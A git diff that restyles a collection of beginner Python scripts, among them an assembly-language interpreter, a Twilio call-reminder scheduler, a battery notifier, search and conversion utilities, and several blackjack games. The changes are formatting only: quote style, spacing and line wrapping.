+294,7 @@ def scanner(string): elif state == 10: # state 10 - if ch == 'u': + if ch == "u": state = 11 token += ch @@ -307,7 +307,7 @@ def scanner(string): elif state == 11: # state 11 - if ch == 'b': + if ch == "b": state = 12 token += ch @@ -334,7 +334,7 @@ def scanner(string): elif state == 13: # state 13 - if ch == ',' or ch.isspace(): + if ch == "," or ch.isspace(): state = 0 tokens.append(Token(token, "register")) @@ -348,7 +348,7 @@ def scanner(string): elif state == 14: # state 14 - if ch == 'n': + if ch == "n": state = 15 token += ch @@ -361,7 +361,7 @@ def scanner(string): elif state == 15: # state 15 - if ch == 't': + if ch == "t": state = 16 token += ch @@ -388,7 +388,7 @@ def scanner(string): elif state == 17: # state 17 - if ch == 'x': + if ch == "x": state = 18 token += ch @@ -407,7 +407,7 @@ def scanner(string): elif state == 18: # state 18 - if ch.isdigit() or (ch >= 'a' and ch <= 'f'): + if ch.isdigit() or (ch >= "a" and ch <= "f"): state = 18 token += ch @@ -426,12 +426,12 @@ def scanner(string): elif state == 19: # state 19 - if ch == 'u': + if ch == "u": state = 20 token += ch - elif ch == 'o': + elif ch == "o": state = 23 token += ch @@ -444,7 +444,7 @@ def scanner(string): elif state == 20: # state 20 - if ch == 's': + if ch == "s": state = 21 token += ch @@ -457,7 +457,7 @@ def scanner(string): elif state == 21: # state 21 - if ch == 'h': + if ch == "h": state = 22 token += ch @@ -484,7 +484,7 @@ def scanner(string): elif state == 23: # state 23 - if ch == 'p': + if ch == "p": state = 24 token += ch @@ -516,7 +516,7 @@ def scanner(string): state = 25 token += ch - elif ch == ':' or ch.isspace(): + elif ch == ":" or ch.isspace(): state = 0 tokens.append(Token(token, "label")) @@ -530,12 +530,12 @@ def scanner(string): elif state == 26: # state 26 - if ch == 'm': + if ch == "m": state = 27 token += ch - elif ch == 'e': # catch je command + elif ch == "e": # catch je command state = 32 token += ch @@ -548,7 +548,7 @@ def scanner(string): elif state == 27: # state 27 - if ch == 'p': + if ch == "p": state = 28 token += ch @@ -575,12 +575,12 @@ def scanner(string): elif state == 29: # state 29 - if ch == 'm': + if ch == "m": state = 30 token += ch - elif ch == 'a': # catch call-command + elif ch == "a": # catch call-command state = 41 token += ch @@ -591,10 +591,9 @@ def scanner(string): token = "" raise InvalidSyntax() - elif state == 30: # state 30 - if ch == 'p': + if ch == "p": state = 31 token += ch @@ -619,7 +618,6 @@ def scanner(string): token = "" raise InvalidSyntax() - elif state == 32: # state 32 if ch.isspace(): @@ -634,16 +632,18 @@ def scanner(string): token = "" raise InvalidSyntax() - elif state == 33: # state 33 - if ch.isdigit() or ch.isalpha() or (ch.isspace() and ch != '\n') \ - or ch == '"': + if ( + ch.isdigit() + or ch.isalpha() + or (ch.isspace() and ch != "\n") + or ch == '"' + ): state = 33 - - elif ch == '\n': + elif ch == "\n": state = 0 @@ -653,7 +653,6 @@ def scanner(string): token = "" raise InvalidSyntax() - elif state == 34: # state 34 if ch.isdigit() or ch.isalpha() or ch.isspace(): @@ -680,7 +679,7 @@ def scanner(string): state = 35 token += ch - elif ch == ' ' or ch == '\n': + elif ch == " " or ch == "\n": state = 0 tokens.append(Token(token, "identifier")) @@ -692,15 +691,14 @@ def scanner(string): token = "" raise InvalidSyntax() - elif state == 36: # state 36 - if ch == 'b': + if ch == "b": state = 37 token += ch - elif ch == 'i': + elif ch == "i": state = 49 token += ch @@ -759,12 +757,16 @@ def scanner(string): elif state == 40: # state 40 - if (ch >= 'a' and ch <= 'z') or (ch >= 'A' and ch <= 'Z') or (ch >= '0' and ch <= '9'): + if ( + (ch >= "a" and ch <= "z") + or (ch >= "A" and ch <= "Z") + or (ch >= "0" and ch <= "9") + ): state = 40 token += ch - elif ch == ':' or ch.isspace(): + elif ch == ":" or ch.isspace(): state = 0 tokens.append(Token(token, "subprogram")) @@ -776,10 +778,9 @@ def scanner(string): token = "" raise InvalidSyntax() - elif state == 41: # state 41 - if ch == 'l': + if ch == "l": state = 42 token += ch @@ -790,10 +791,9 @@ def scanner(string): token = "" raise InvalidSyntax() - elif state == 42: # state 42 - if ch == 'l': + if ch == "l": state = 43 token += ch @@ -820,7 +820,7 @@ def scanner(string): elif state == 44: # state 44 - if ch == 'e': + if ch == "e": state = 45 token += ch @@ -833,7 +833,7 @@ def scanner(string): elif state == 45: # state 45 - if ch == 't': + if ch == "t": state = 46 token += ch @@ -844,7 +844,6 @@ def scanner(string): token = "" raise InvalidSyntax() - elif state == 46: # state 46 if ch.isspace(): @@ -861,7 +860,7 @@ def scanner(string): elif state == 47: # state 47 - if ch == 'l': + if ch == "l": state = 48 token += ch @@ -880,7 +879,6 @@ def scanner(string): tokens.append(Token(token, "command")) token = "" - else: # error case state = 0 @@ -889,7 +887,7 @@ def scanner(string): elif state == 49: # state 49 - if ch == 'v': + if ch == "v": state = 50 token += ch @@ -900,7 +898,6 @@ def scanner(string): token = "" raise InvalidSyntax() - elif state == 50: # state 50 if ch.isspace(): @@ -909,7 +906,6 @@ def scanner(string): tokens.append(Token(token, "command")) token = "" - else: # error case state = 0 @@ -919,7 +915,7 @@ def scanner(string): def scan(): """ - scan: applys function scanner() to each line of the source code. + scan: applys function scanner() to each line of the source code. """ global lines assert len(lines) > 0, "no lines" @@ -932,7 +928,7 @@ def scan(): def parser(): """ - parser: parses the tokens of the list 'tokens' + parser: parses the tokens of the list 'tokens' """ global tokens @@ -987,7 +983,7 @@ def parser(): pass elif token.token.isdigit(): token.token = float(token.token) - elif token.token[0] == '-' and token.token[1:].isdigit(): + elif token.token[0] == "-" and token.token[1:].isdigit(): token.token = float(token.token[1:]) token.token *= -1 elif token.t == "register": # loads out of register @@ -1045,7 +1041,7 @@ def parser(): elif token.token.isdigit(): token.token = float(token.token) - elif token.token[0] == '-' and token.token[1:].isdigit(): + elif token.token[0] == "-" and token.token[1:].isdigit(): token.token = float(token.token[1:]) token.token *= -1 else: @@ -1085,8 +1081,6 @@ def parser(): else: zeroFlag = False - - else: print("Error: Not found register!") @@ -1125,7 +1119,7 @@ def parser(): pass elif token.token.isdigit(): token.token = float(token.token) - elif token.token[0] == '-' and token.token[1:].isdigit(): + elif token.token[0] == "-" and token.token[1:].isdigit(): token.token = float(token.token[1:]) token.token *= -1 else: @@ -1200,7 +1194,6 @@ def parser(): print(ecx) - elif token.token == "push": # push commando tmpToken = token @@ -1230,7 +1223,6 @@ def parser(): stack.append(edx) - elif token.token == "pop": # pop commando tmpToken = token @@ -1281,7 +1273,6 @@ def parser(): else: print("Error: expected a label!") - elif token.token == "cmp": # TODO @@ -1334,7 +1325,6 @@ def parser(): else: zeroFlag = False - elif token.token == "ebx": if tmpToken.token == "eax": @@ -1365,7 +1355,6 @@ def parser(): else: zeroFlag = False - elif token.token == "ecx": if tmpToken.token == "eax": @@ -1396,7 +1385,6 @@ def parser(): else: zeroFlag = False - elif token.token == "edx": if tmpToken.token == "eax": @@ -1427,12 +1415,10 @@ def parser(): else: zeroFlag = False - else: print("Error: Not found register!") return - elif token.token == "je": # it must follow a label @@ -1455,7 +1441,6 @@ def parser(): print("Error: Not found label") return - elif token.t == "identifier": # check whether identifier is in variables-table @@ -1486,7 +1471,6 @@ def parser(): elif tmpToken.t == "string": variables[token.token] = tmpToken.token - else: print("Error: Not found db-keyword") @@ -1521,7 +1505,6 @@ def parser(): print("Error: Not found subprogram") return - elif token.token == "ret": # catch the ret-command if len(returnStack) >= 1: @@ -1537,7 +1520,6 @@ def parser(): pass - elif token.token == "mul": # catch mul-command # it must follow a register @@ -1571,8 +1553,6 @@ def parser(): print("Error: Not found register") return - - elif token.token == "div": # it must follow a register @@ -1612,10 +1592,10 @@ def parser(): def registerLabels(): """ - This function search for labels / subprogram-labels and registers this in the 'jumps' list. + This function search for labels / subprogram-labels and registers this in the 'jumps' list. """ for i in range(len(tokens)): - if (tokens[i].t == "label"): + if tokens[i].t == "label": jumps[tokens[i].token] = i elif tokens[i].t == "subprogram": jumps[tokens[i].token] = i @@ -1623,7 +1603,7 @@ def registerLabels(): def resetInterpreter(): """ - resets the interpreter mind. + resets the interpreter mind. """ global eax, ebx, ecx, edx, zeroFlag, stack global variables, jumps, lines, tokens, returnStack @@ -1649,7 +1629,7 @@ def resetInterpreter(): # main program def main(): """ - reads textfiles from the command-line and interprets them. + reads textfiles from the command-line and interprets them. """ # [1:] because the first argument is the program itself. diff --git a/Automated Scheduled Call Reminders/caller.py b/Automated Scheduled Call Reminders/caller.py index 139d539de65..3082dbb7193 100644 --- a/Automated Scheduled Call Reminders/caller.py +++ b/Automated Scheduled Call Reminders/caller.py @@ -1,53 +1,52 @@ -#The project automates calls for people from the firebase cloud database and the schedular keeps it running and checks for entries -#every 1 hour using aps scedular -#The project can be used to set 5 min before reminder calls to a set of people for doing a particular job +# The project automates calls for people from the firebase cloud database and the schedular keeps it running and checks for entries +# every 1 hour using aps scedular +# The project can be used to set 5 min before reminder calls to a set of people for doing a particular job import os from firebase_admin import credentials, firestore, initialize_app -from datetime import datetime,timedelta +from datetime import datetime, timedelta import time from time import gmtime, strftime import twilio from twilio.rest import Client -#twilio credentials -acc_sid="" -auth_token="" -client=Client(acc_sid, auth_token) -#firebase credentials -#key.json is your certificate of firebase project -cred = credentials.Certificate('key.json') +# twilio credentials +acc_sid = "" +auth_token = "" +client = Client(acc_sid, auth_token) + +# firebase credentials +# key.json is your certificate of firebase project +cred = credentials.Certificate("key.json") default_app = initialize_app(cred) db = firestore.client() -database_reference = db.collection('on_call') +database_reference = db.collection("on_call") -#Here the collection name is on_call which has documents with fields phone , from (%H:%M:%S time to call the person),date +# Here the collection name is on_call which has documents with fields phone , from (%H:%M:%S time to call the person),date -#gets data from cloud database and calls 5 min prior the time (from time) alloted in the database +# gets data from cloud database and calls 5 min prior the time (from time) alloted in the database def search(): calling_time = datetime.now() - one_hours_from_now = (calling_time + timedelta(hours=1)).strftime('%H:%M:%S') - current_date=str(strftime("%d-%m-%Y", gmtime())) - docs = db.collection(u'on_call').where(u'date',u'==',current_date).stream() - list_of_docs=[] + one_hours_from_now = (calling_time + timedelta(hours=1)).strftime("%H:%M:%S") + current_date = str(strftime("%d-%m-%Y", gmtime())) + docs = db.collection(u"on_call").where(u"date", u"==", current_date).stream() + list_of_docs = [] for doc in docs: - - c=doc.to_dict() - if (calling_time).strftime('%H:%M:%S')<=c['from']<=one_hours_from_now: + + c = doc.to_dict() + if (calling_time).strftime("%H:%M:%S") <= c["from"] <= one_hours_from_now: list_of_docs.append(c) print(list_of_docs) - while(list_of_docs): - timestamp=datetime.now().strftime('%H:%M') - five_minutes_prior= (timestamp + timedelta(minutes=5)).strftime('%H:%M') + while list_of_docs: + timestamp = datetime.now().strftime("%H:%M") + five_minutes_prior = (timestamp + timedelta(minutes=5)).strftime("%H:%M") for doc in list_of_docs: - if doc['from'][0:5]==five_minutes_prior: - phone_number= doc['phone'] + if doc["from"][0:5] == five_minutes_prior: + phone_number = doc["phone"] call = client.calls.create( - to=phone_number, - from_="add your twilio number", - url="http://demo.twilio.com/docs/voice.xml" + to=phone_number, + from_="add your twilio number", + url="http://demo.twilio.com/docs/voice.xml", ) list_of_docs.remove(doc) - - diff --git a/Automated Scheduled Call Reminders/schedular.py b/Automated Scheduled Call Reminders/schedular.py index c37070ba4d3..905adad611f 100644 --- a/Automated Scheduled Call Reminders/schedular.py +++ b/Automated Scheduled Call Reminders/schedular.py @@ -1,4 +1,4 @@ -#schedular code for blocking schedular as we have only 1 process to run +# schedular code for blocking schedular as we have only 1 process to run from apscheduler.schedulers.blocking import BlockingScheduler @@ -8,6 +8,6 @@ sched = BlockingScheduler() # Schedule job_function to be called every two hours -sched.add_job(search, 'interval',hours=1) # for testing instead add hours =1 +sched.add_job(search, "interval", hours=1) # for testing instead add hours =1 -sched.start() \ No newline at end of file +sched.start() diff --git a/Battery_notifier.py b/Battery_notifier.py index bda167d3134..2f45301bc1e 100644 --- a/Battery_notifier.py +++ b/Battery_notifier.py @@ -1,5 +1,5 @@ -from plyer import notification #pip install plyer -import psutil # pip install psutil +from plyer import notification # pip install plyer +import psutil # pip install psutil # psutil.sensors_battery() will return the information related to battery battery = psutil.sensors_battery() @@ -10,7 +10,7 @@ # Notification(title, description, duration)--to send # notification to desktop -#help(Notification) +# help(Notification) if charging: if percent == 100: charging_message = "Unplug your Charger" @@ -18,6 +18,6 @@ charging_message = "Charging" else: charging_message = "Not Charging" -message = str(percent)+ "% Charged\n" + charging_message +message = str(percent) + "% Charged\n" + charging_message -notification.notify("Battery Information", message, timeout = 10) +notification.notify("Battery Information", message, timeout=10) diff --git a/Binary Coefficients.py b/Binary Coefficients.py index 4c8d3316e0d..3039858d55f 100644 --- a/Binary Coefficients.py +++ b/Binary Coefficients.py @@ -2,11 +2,11 @@ def pascal_triangle(lineNumber): list1 = list() list1.append([1]) i = 1 - while (i <= lineNumber): + while i <= lineNumber: j = 1 l = [] l.append(1) - while (j < i): + while j < i: l.append(list1[i - 1][j] + list1[i - 1][j - 1]) j = j + 1 l.append(1) @@ -17,4 +17,4 @@ def pascal_triangle(lineNumber): def binomial_coef(n, k): pascalTriangle = pascal_triangle(n) - return (pascalTriangle[n][k - 1]) + return pascalTriangle[n][k - 1] diff --git a/Binary_search.py b/Binary_search.py index 61e2faba5a0..118f4461bb0 100644 --- a/Binary_search.py +++ b/Binary_search.py @@ -1,24 +1,24 @@ -# It returns location of x in given array arr -# if present, else returns -1 +# It returns location of x in given array arr +# if present, else returns -1 def binary_search(arr, l, r, x): if l <= r: - - mid = (l+r) // 2 #extracting the middle element from the array - + + mid = (l + r) // 2 # extracting the middle element from the array + # If element is present at the middle itself if arr[mid] == x: return mid - + # If element is smaller than mid, then it can only # be present in left subarray elif arr[mid] > x: return binary_search(arr, l, mid - 1, x) - + # Else the element can only be present in right subarray else: return binary_search(arr, mid + 1, r, x) - - # If we reach here, then the element was not present + + # If we reach here, then the element was not present return -1 @@ -26,14 +26,16 @@ def binary_search(arr, l, r, x): if __name__ == "__main__": # User input array print("Enter the array with comma separated in which element will be searched") - arr =[int(x) for x in input().split(',')] #the input array will of int type with each element seperated with a comma due to the split fucntion - #map function returns a list of results after applying the given function to each item + arr = [ + int(x) for x in input().split(",") + ] # the input array will of int type with each element seperated with a comma due to the split fucntion + # map function returns a list of results after applying the given function to each item x = eval(input("Enter the element you want to search in given array")) # Function call result = binary_search(arr, 0, len(arr) - 1, x) - - #printing the output + + # printing the output if result != -1: print("Element is present at index {}".format(result)) else: diff --git a/Binary_to_Decimal.py b/Binary_to_Decimal.py index 345b401f518..ed477d502a6 100644 --- a/Binary_to_Decimal.py +++ b/Binary_to_Decimal.py @@ -1,20 +1,22 @@ -#Program to convert binary to decimal +# Program to convert binary to decimal + + +def binaryToDecimal(binary): + """ + >>> binaryToDecimal(111110000) + 496 + >>> binaryToDecimal(10100) + 20 + >>> binaryToDecimal(101011) + 43 + """ + decimal, i, n = 0, 0, 0 + while binary != 0: + dec = binary % 10 + decimal = decimal + dec * pow(2, i) + binary = binary // 10 + i += 1 + print(decimal) -def binaryToDecimal(binary): - """ - >>> binaryToDecimal(111110000) - 496 - >>> binaryToDecimal(10100) - 20 - >>> binaryToDecimal(101011) - 43 - """ - decimal, i, n = 0, 0, 0 - while(binary != 0): - dec = binary % 10 - decimal = decimal + dec * pow(2, i) - binary = binary//10 - i += 1 - print(decimal) binaryToDecimal(100) diff --git a/BlackJack_game/blackjack.py b/BlackJack_game/blackjack.py index ed26073fbba..858257ae39f 100644 --- a/BlackJack_game/blackjack.py +++ b/BlackJack_game/blackjack.py @@ -1,5 +1,5 @@ # master -#master +# master # BLACK JACK - CASINO A GAME OF FORTUNE!!! from time import * @@ -16,18 +16,20 @@ print(f'{"*"*58} \n Welcome to the game Casino - BLACK JACK ! \n{"*"*58}') sleep(2) -print('So Finally You Are Here To Accept Your Fate') +print("So Finally You Are Here To Accept Your Fate") sleep(2) -print('I Mean Your Fortune') +print("I Mean Your Fortune") sleep(2) -print('Lets Check How Lucky You Are Wish You All The Best') +print("Lets Check How Lucky You Are Wish You All The Best") sleep(2) -print('Loading---') +print("Loading---") sleep(2) -print('Still Loading---') +print("Still Loading---") sleep(2) -print('So You Are Still Here Not Gone I Gave You Chance But No Problem May Be You Trust Your Fortune A Lot \n Lets Begin Then') +print( + "So You Are Still Here Not Gone I Gave You Chance But No Problem May Be You Trust Your Fortune A Lot \n Lets Begin Then" +) sleep(2) d_cards = [] # Initialising dealer's cards p_cards = [] # Initialising player's cards @@ -36,7 +38,7 @@ random.shuffle(deck) d_cards.append(deck.pop()) if len(d_cards) == 2: - print('The cards dealer has are X ', d_cards[1]) + print("The cards dealer has are X ", d_cards[1]) # Displaying the Player's cards while len(p_cards) != 2: @@ -104,12 +106,11 @@ def dealer_choice(): while sum(p_cards) < 21: # to continue the game again and again !! - k = input('Want to hit or stay?\n Press 1 for hit and 0 for stay ') + k = input("Want to hit or stay?\n Press 1 for hit and 0 for stay ") if k == 1: random.shuffle(deck) p_cards.append(deck.pop()) - print('You have a total of ' + str(sum(p_cards)) - + ' with the cards ', p_cards) + print("You have a total of " + str(sum(p_cards)) + " with the cards ", p_cards) if sum(p_cards) > 21: print(f'{"*"*13}You are BUSTED !{"*"*13}\n Dealer Wins !!') if sum(p_cards) == 21: diff --git a/BlackJack_game/blackjack_rr.py b/BlackJack_game/blackjack_rr.py index 6941f5e8324..d7c46b83cf6 100644 --- a/BlackJack_game/blackjack_rr.py +++ b/BlackJack_game/blackjack_rr.py @@ -1,30 +1,63 @@ import random -class Colour: - BLACK = '\033[30m' - RED = '\033[91m' - GREEN = '\033[32m' - END = '\033[0m' -suits = (Colour.RED + 'Hearts' + Colour.END, Colour.RED + 'Diamonds' + Colour.END, Colour.BLACK + 'Spades' + Colour.END, Colour.BLACK + 'Clubs' + Colour.END) -ranks = ('Two', 'Three', 'Four', 'Five', 'Six', 'Seven', 'Eight', 'Nine', 'Ten', 'Jack', 'Queen', 'King', 'Ace') -values = {'Two': 2, 'Three': 3, 'Four': 4, 'Five': 5, 'Six': 6, 'Seven': 7, 'Eight': 8, - 'Nine': 9, 'Ten': 10, 'Jack': 10, 'Queen': 10, 'King': 10, 'Ace': 11} +class Colour: + BLACK = "\033[30m" + RED = "\033[91m" + GREEN = "\033[32m" + END = "\033[0m" + + +suits = ( + Colour.RED + "Hearts" + Colour.END, + Colour.RED + "Diamonds" + Colour.END, + Colour.BLACK + "Spades" + Colour.END, + Colour.BLACK + "Clubs" + Colour.END, +) +ranks = ( + "Two", + "Three", + "Four", + "Five", + "Six", + "Seven", + "Eight", + "Nine", + "Ten", + "Jack", + "Queen", + "King", + "Ace", +) +values = { + "Two": 2, + "Three": 3, + "Four": 4, + "Five": 5, + "Six": 6, + "Seven": 7, + "Eight": 8, + "Nine": 9, + "Ten": 10, + "Jack": 10, + "Queen": 10, + "King": 10, + "Ace": 11, +} playing = True -class Card: +class Card: def __init__(self, suit, rank): self.suit = suit self.rank = rank def __str__(self): - return self.rank + ' of ' + self.suit + return self.rank + " of " + self.suit class Deck: - def __init__(self): self.deck = [] for suit in suits: @@ -32,9 +65,9 @@ def __init__(self): self.deck.append(Card(suit, rank)) def __str__(self): - deck_comp = '' + deck_comp = "" for card in self.deck: - deck_comp += '\n ' + card.__str__() + deck_comp += "\n " + card.__str__() def shuffle(self): random.shuffle(self.deck) @@ -45,7 +78,6 @@ def deal(self): class Hand: - def __init__(self): self.cards = [] self.value = 0 @@ -54,7 +86,7 @@ def __init__(self): def add_card(self, card): self.cards.append(card) self.value += values[card.rank] - if card.rank == 'Ace': + if card.rank == "Ace": self.aces += 1 def adjust_for_ace(self): @@ -64,7 +96,6 @@ def adjust_for_ace(self): class Chips: - def __init__(self): self.total = 100 self.bet = 0 @@ -79,14 +110,15 @@ def lose_bet(self): def take_bet(chips): while True: try: - chips.bet = int(input('How many chips would you like to bet? ')) + chips.bet = int(input("How many chips would you like to bet? ")) except ValueError: - print('Your bet must be an integer! Try again.') + print("Your bet must be an integer! Try again.") else: if chips.bet > chips.total or chips.bet <= 0: print( "Your bet cannot exceed your balance and you have to enter a positive bet! Your current balance is: ", - chips.total) + chips.total, + ) else: break @@ -102,10 +134,10 @@ def hit_or_stand(deck, hand): while True: x = input("Would you like to Hit or Stand? Enter '1' or '0' ") - if x.lower() == '1': + if x.lower() == "1": hit(deck, hand) - elif x.lower() == '0': + elif x.lower() == "0": print("You chose to stand. Dealer will hit.") playing = False @@ -118,14 +150,14 @@ def hit_or_stand(deck, hand): def show_some(player, dealer): print("\nDealer's Hand:") print(" { hidden card }") - print('', dealer.cards[1]) - print("\nYour Hand:", *player.cards, sep='\n ') + print("", dealer.cards[1]) + print("\nYour Hand:", *player.cards, sep="\n ") def show_all(player, dealer): - print("\nDealer's Hand:", *dealer.cards, sep='\n ') + print("\nDealer's Hand:", *dealer.cards, sep="\n ") print("Dealer's Hand =", dealer.value) - print("\nYour Hand:", *player.cards, sep='\n ') + print("\nYour Hand:", *player.cards, sep="\n ") print("Your Hand =", player.value) @@ -160,7 +192,8 @@ def push(player, dealer): print("\t **********************************************************") print( - "\t Welcome to the game Casino - BLACK JACK ! ") + "\t Welcome to the game Casino - BLACK JACK ! " + ) print("\t **********************************************************") print(Colour.BLACK + "\t ***************") print("\t * A *") @@ -174,7 +207,9 @@ def push(player, dealer): print("\t * *") print("\t ***************" + Colour.END) - print('\nRULES: Get as close to 21 as you can but if you get more than 21 you will lose!\n Aces count as 1 or 11.') + print( + "\nRULES: Get as close to 21 as you can but if you get more than 21 you will lose!\n Aces count as 1 or 11." + ) deck = Deck() deck.shuffle() @@ -187,7 +222,6 @@ def push(player, dealer): dealer_hand.add_card(deck.deal()) dealer_hand.add_card(deck.deal()) - take_bet(player_chips) show_some(player_hand, dealer_hand) @@ -224,14 +258,21 @@ def push(player, dealer): if player_chips.total > 0: new_game = input("Would you like to play another hand? Enter '1' or '0' ") - if new_game.lower() == '1': + if new_game.lower() == "1": playing = True continue else: print( - "Thanks for playing!\n" + Colour.GREEN + "\t$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n \t Congratulations! You won " + str(player_chips.total) + " coins!\n\t$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n " + Colour.END) + "Thanks for playing!\n" + + Colour.GREEN + + "\t$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n \t Congratulations! You won " + + str(player_chips.total) + + " coins!\n\t$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n " + + Colour.END + ) break else: print( - "Oops! You have bet all your chips and we are sorry you can't play more.\nThanks for playing! Do come again to Casino BLACK JACK!") + "Oops! You have bet all your chips and we are sorry you can't play more.\nThanks for playing! Do come again to Casino BLACK JACK!" + ) break diff --git a/BlackJack_game/blackjack_simulate.py b/BlackJack_game/blackjack_simulate.py index 47e47dc1944..ae1706f6888 100644 --- a/BlackJack_game/blackjack_simulate.py +++ b/BlackJack_game/blackjack_simulate.py @@ -1,7 +1,8 @@ import os import random from functools import namedtuple -''' + +""" Target: BlackJack 21 simulate - Role - Dealer: 1 @@ -18,30 +19,30 @@ (Get one card) - Surrender: (only available as first decision of a hand) - Dealer return 50% chips -''' +""" -__author__ = 'Alopex Cheung' -__version__ = '0.2' +__author__ = "Alopex Cheung" +__version__ = "0.2" BLACK_JACK = 21 BASE_VALUE = 17 COLOR = { - 'PURPLE': '\033[1;35;48m', - 'CYAN': '\033[1;36;48m', - 'BOLD': '\033[1;37;48m', - 'BLUE': '\033[1;34;48m', - 'GREEN': '\033[1;32;48m', - 'YELLOW': '\033[1;33;48m', - 'RED': '\033[1;31;48m', - 'BLACK': '\033[1;30;48m', - 'UNDERLINE': '\033[4;37;48m', - 'END': '\033[1;37;0m', + "PURPLE": "\033[1;35;48m", + "CYAN": "\033[1;36;48m", + "BOLD": "\033[1;37;48m", + "BLUE": "\033[1;34;48m", + "GREEN": "\033[1;32;48m", + "YELLOW": "\033[1;33;48m", + "RED": "\033[1;31;48m", + "BLACK": "\033[1;30;48m", + "UNDERLINE": "\033[4;37;48m", + "END": "\033[1;37;0m", } class Card: - __slots__ = 'suit', 'rank', 'is_face' + __slots__ = "suit", "rank", "is_face" def __init__(self, suit, rank, face=True): """ @@ -54,10 +55,10 @@ def __init__(self, suit, rank, face=True): self.is_face = face def __repr__(self): - fmt_card = '\t' + fmt_card = "\t" if self.is_face: return fmt_card.format(suit=self.suit, rank=self.rank) - return fmt_card.format(suit='*-Back-*', rank='*-Back-*') + return fmt_card.format(suit="*-Back-*", rank="*-Back-*") def show(self): print(str(self)) @@ -73,7 +74,7 @@ def __init__(self, num=1): self.built() def __repr__(self): - return '\n'.join([str(card) for card in self.cards]) + return "\n".join([str(card) for card in self.cards]) def __len__(self): return len(self.cards) @@ -81,7 +82,7 @@ def __len__(self): def built(self): for _ in range(self.num): ranks = [x for x in range(1, 14)] - suits = 'Spades Heart Clubs Diamonds'.split() + suits = "Spades Heart Clubs Diamonds".split() for suit in suits: for rank in ranks: card = Card(suit, rank) @@ -91,8 +92,7 @@ def shuffle(self): for _ in range(self.num): for index in range(len(self.cards)): i = random.randint(0, 51) - self.cards[index], self.cards[i] = self.cards[i], self.cards[ - index] + self.cards[index], self.cards[i] = self.cards[i], self.cards[index] def rebuilt(self): self.cards.clear() @@ -118,10 +118,10 @@ def __bool__(self): @staticmethod def get_tips(content): - fmt_tips = '{color}** TIPS: {content}! **{end}' - return fmt_tips.format(color=COLOR.get('YELLOW'), - content=content, - end=COLOR.get('END')) + fmt_tips = "{color}** TIPS: {content}! **{end}" + return fmt_tips.format( + color=COLOR.get("YELLOW"), content=content, end=COLOR.get("END") + ) @property def amount(self): @@ -130,10 +130,10 @@ def amount(self): @amount.setter def amount(self, value): if not isinstance(value, int): - type_tips = 'Please give a integer' + type_tips = "Please give a integer" raise ValueError(Chips.get_tips(type_tips)) if value < 0: - amount_tips = 'Your integer should bigger than 0' + amount_tips = "Your integer should bigger than 0" raise ValueError(Chips.get_tips(amount_tips)) self._amount = value @@ -143,8 +143,8 @@ def bet_amount(self): @bet_amount.setter def bet_amount(self, value): - type_tips = 'Please give a integer' - amount_tips = 'Your chips should between 1 - ' + str(self.amount) + ' ' + type_tips = "Please give a integer" + amount_tips = "Your chips should between 1 - " + str(self.amount) + " " try: value = int(value) except ValueError: @@ -161,8 +161,8 @@ def double_bet(self): self._bet_amount *= 2 self.is_double = True else: - over_tips = 'Not enough chips || ' - cannot_double = 'CAN\'T DO DOUBLE' + over_tips = "Not enough chips || " + cannot_double = "CAN'T DO DOUBLE" raise ValueError(Chips.get_tips(over_tips + cannot_double)) @property @@ -172,7 +172,7 @@ def insurance(self): @insurance.setter def insurance(self, value): if self.amount - value < 0: - over_tips = 'Not enough chips' + over_tips = "Not enough chips" raise ValueError(Chips.get_tips(over_tips)) self._insurance = value self.is_insurance = True @@ -191,14 +191,14 @@ def can_double(self): class User: - def __init__(self, name, role, chips_amount=None, color='END'): + def __init__(self, name, role, chips_amount=None, color="END"): """ :param name: User name :param role: dealer or player :param chips_amount: Casino tokens equal money """ self.name = name - self.prompt = '{role} >> ({name}) : '.format(role=role, name=self.name) + self.prompt = "{role} >> ({name}) : ".format(role=role, name=self.name) self.chips = Chips(chips_amount) self.color = color self.hand = [] @@ -217,7 +217,7 @@ def drop_card(self): self.point = 0 def show_card(self): - print('\t ** Here is my card **') + print("\t ** Here is my card **") for card in self.hand: card.show() @@ -247,14 +247,17 @@ def _sum_up(ranks): def is_point(self, opt, point): self.calculate_point() - compare_fmt = '{user_point} {opt} {point}'.format( - user_point=self.point, opt=opt, point=point) + compare_fmt = "{user_point} {opt} {point}".format( + user_point=self.point, opt=opt, point=point + ) return eval(compare_fmt) - def speak(self, content='', end_char='\n'): - print('') - print(COLOR.get(self.color) + self.prompt + COLOR.get('END') + content, - end=end_char) + def speak(self, content="", end_char="\n"): + print("") + print( + COLOR.get(self.color) + self.prompt + COLOR.get("END") + content, + end=end_char, + ) def showing(self): self.speak() @@ -262,24 +265,26 @@ def showing(self): def unveiling(self): self.calculate_point() - points_fmt = 'My point is: {}'.format(str(self.point)) + points_fmt = "My point is: {}".format(str(self.point)) self.speak(points_fmt) self.unveil_card() class Dealer(User): def __init__(self, name): - super().__init__(name=name, role='Dealer', color='PURPLE') + super().__init__(name=name, role="Dealer", color="PURPLE") self.trigger = 0 def ask_insurance(self): - buy_insurance = ("(Insurance pay 2 to 1)\n" - "\tMy Face card is an Ace.\n" - "\tWould your like buy a insurance ?") + buy_insurance = ( + "(Insurance pay 2 to 1)\n" + "\tMy Face card is an Ace.\n" + "\tWould your like buy a insurance ?" + ) self.speak(content=buy_insurance) def strategy_trigger(self, deck): - if self.is_point('<', BASE_VALUE): + if self.is_point("<", BASE_VALUE): self.obtain_card(deck) else: self.trigger += random.randint(0, 5) @@ -289,30 +294,28 @@ def strategy_trigger(self, deck): class Player(User): def __init__(self, name, amount): - super().__init__(name=name, - chips_amount=amount, - role='Player', - color='CYAN') + super().__init__(name=name, chips_amount=amount, role="Player", color="CYAN") self.refresh_prompt() def refresh_prompt(self): - self.prompt = '{role} [ ${remain} ] >> ({name}) : '.format( - role='Player', name=self.name, remain=self.chips.current_amount()) + self.prompt = "{role} [ ${remain} ] >> ({name}) : ".format( + role="Player", name=self.name, remain=self.chips.current_amount() + ) def select_choice(self, pattern): - my_turn = 'My turn now.' + my_turn = "My turn now." self.speak(content=my_turn) operation = { - 'I': 'Insurance', - 'H': 'Hit', - 'S': 'Stand', - 'D': 'Double-down', - 'U': 'Surrender' + "I": "Insurance", + "H": "Hit", + "S": "Stand", + "D": "Double-down", + "U": "Surrender", } 